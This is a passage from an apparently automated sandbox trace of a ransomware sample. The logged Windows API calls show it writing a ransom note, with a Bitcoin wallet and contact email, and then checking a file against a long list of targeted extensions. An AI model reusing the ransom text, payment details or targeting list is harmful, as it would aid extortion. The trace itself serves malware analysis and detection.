(lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.to#\\098a668fd5a084739026990ceaf53d96\\how to decrypt files.txt")) returned 0xffffffff [0108.734] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.to#\\098a668fd5a084739026990ceaf53d96\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.739] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0108.739] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.741] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.741] CloseHandle (hObject=0x90) returned 1 [0108.741] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\", lpString2="Microsoft.Office.Tools.Outlook.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll" [0108.741] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0108.741] lstrlenA (lpString="*.ems") returned 5 [0108.741] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.db") returned 0 [0108.741] lstrlenA (lpString="*.db") returned 4 [0108.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0108.742] lstrlenA (lpString="*.dbf") returned 5 [0108.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0108.742] lstrlenA (lpString="*.myox") returned 6 [0108.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0108.742] lstrlenA (lpString="*.myo") returned 5 [0108.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0108.742] lstrlenA (lpString="*.qbw") returned 5 [0108.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0108.742] lstrlenA (lpString="*.qbb") returned 5 [0108.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0108.742] lstrlenA (lpString="*.qbm") returned 5 [0108.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0108.742] lstrlenA (lpString="*.qbo") returned 5 [0108.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0108.742] lstrlenA (lpString="*.qbx") returned 5 [0108.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0108.742] lstrlenA (lpString="*.qba") returned 5 [0108.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0108.742] lstrlenA (lpString="*.qby") returned 5 [0108.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0108.742] lstrlenA (lpString="*.qbj") returned 5 [0108.743] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0108.743] lstrlenA (lpString="*.ofx") returned 5 [0108.743] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0108.743] lstrlenA (lpString="*.qif") returned 5 [0108.743] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0108.743] lstrlenA (lpString="*.mye") returned 5 [0108.743] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0108.743] lstrlenA (lpString="*.mbox") returned 6 [0108.743] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0108.743] lstrlenA (lpString="*.eml") returned 5 [0108.743] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0108.743] lstrlenA (lpString="*.pst") returned 5 [0108.743] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0108.743] lstrlenA (lpString="*.ost") returned 5 [0108.743] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0108.743] lstrlenA (lpString="*.idx") returned 5 [0108.743] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0108.743] lstrlenA (lpString="*.dbx") returned 5 [0108.743] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0108.743] lstrlenA (lpString="*.sql") returned 5 [0108.744] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0108.744] lstrlenA (lpString="*.mdb") returned 5 [0108.744] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0108.744] lstrlenA (lpString="*.fdb") returned 5 [0108.744] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0108.744] lstrlenA (lpString="*.wab") returned 5 [0108.744] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0108.744] lstrlenA (lpString="*.dat") returned 5 [0108.744] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0108.744] lstrlenA (lpString="*.txt") returned 5 [0108.744] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0108.744] lstrlenA (lpString="*.jpeg") returned 6 [0108.744] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0108.744] lstrlenA (lpString="*.jpg") returned 5 [0108.744] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.png") returned 0 [0108.744] lstrlenA (lpString="*.png") returned 5 [0108.744] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.php") returned 0 [0108.744] lstrlenA (lpString="*.php") returned 5 [0108.744] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0108.745] lstrlenA (lpString="*.cs") returned 4 [0108.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0108.745] lstrlenA (lpString="*.cpp") returned 5 [0108.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0108.745] lstrlenA (lpString="*.rar") returned 5 [0108.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0108.745] lstrlenA (lpString="*.zip") returned 5 [0108.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.html") returned 0 [0108.745] lstrlenA (lpString="*.html") returned 6 [0108.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0108.745] lstrlenA (lpString="*.htm") returned 5 [0108.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0108.745] lstrlenA (lpString="*.xlsx") returned 6 [0108.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0108.745] lstrlenA (lpString="*.xls") returned 5 [0108.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0108.745] lstrlenA (lpString="*.mp4") returned 5 [0108.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0108.745] lstrlenA (lpString="*.ppt") returned 5 [0108.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0108.745] lstrlenA (lpString="*.pptx") returned 6 [0108.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0108.746] lstrlenA (lpString="*.doc") returned 5 [0108.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0108.746] lstrlenA (lpString="*.dot") returned 5 [0108.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0108.746] lstrlenA (lpString="*.docx") returned 6 [0108.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0108.746] lstrlenA (lpString="*.7z") returned 4 [0108.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0108.746] lstrlenA (lpString="*.tar") returned 5 [0108.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0108.746] lstrlenA (lpString="*.bz2") returned 5 [0108.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0108.747] lstrlenA (lpString="*.gz") returned 4 [0108.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0108.747] lstrlenA (lpString="*.mkv") returned 5 [0108.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0108.747] lstrlenA (lpString="*.eml") returned 5 [0108.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0108.747] lstrlenA (lpString="*.msg") returned 5 [0108.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0108.747] lstrlenA (lpString="*.edb") returned 5 [0108.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0108.747] lstrlenA (lpString="*.accdb") returned 7 [0108.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0108.747] lstrlenA (lpString="*.odb") returned 5 [0108.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.java") returned 0 [0108.747] lstrlenA (lpString="*.java") returned 6 [0108.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0108.747] lstrlenA (lpString="*.asm") returned 5 [0108.747] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0108.748] lstrlenA (lpString="*.pfx") returned 5 [0108.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0108.748] lstrlenA (lpString="*.pem") returned 5 [0108.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0108.748] lstrlenA (lpString="*.p12") returned 5 [0108.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0108.748] lstrlenA (lpString="*.gpg") returned 5 [0108.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0108.748] lstrlenA (lpString="*.vsd") returned 5 [0108.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0108.748] lstrlenA (lpString="*.odg") returned 5 [0108.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0108.748] lstrlenA (lpString="*.raw") returned 5 [0108.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0108.748] lstrlenA (lpString="*.nef") returned 5 [0108.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0108.748] lstrlenA (lpString="*.svg") returned 5 [0108.748] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0108.749] lstrlenA (lpString="*.psd") returned 5 [0108.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0108.749] lstrlenA (lpString="*.vmx") returned 5 [0108.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0108.749] lstrlenA (lpString="*.vmdk") returned 6 [0108.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0108.749] lstrlenA (lpString="*.vdi") returned 5 [0108.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0108.749] lstrlenA (lpString="*.lay6") returned 6 [0108.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0108.749] lstrlenA (lpString="*.mpeg") returned 6 [0108.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0108.749] lstrlenA (lpString="*.djvu") returned 6 [0108.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0108.749] lstrlenA (lpString="*.tiff") returned 6 [0108.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0108.749] lstrlenA (lpString="*.backup") returned 8 [0108.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0108.750] lstrlenA (lpString="*.pdf") returned 5 [0108.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0108.750] lstrlenA (lpString="*.cert") returned 6 [0108.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0108.750] lstrlenA (lpString="*.docm") returned 6 [0108.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0108.750] lstrlenA (lpString="*.xlsm") returned 6 [0108.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0108.750] lstrlenA (lpString="*.dwg") returned 5 [0108.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0108.750] lstrlenA (lpString="*.nd") returned 4 [0108.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0108.750] lstrlenA (lpString="*.tlg") returned 5 [0108.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0108.750] lstrlenA (lpString="*.lgb") returned 5 [0108.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0108.750] lstrlenA (lpString="*.mov") returned 5 [0108.750] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\Microsoft.Office.Tools.Outlook.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0108.750] lstrlenA (lpString="*.xdw") returned 5 [0108.751] PathMatchSpecA 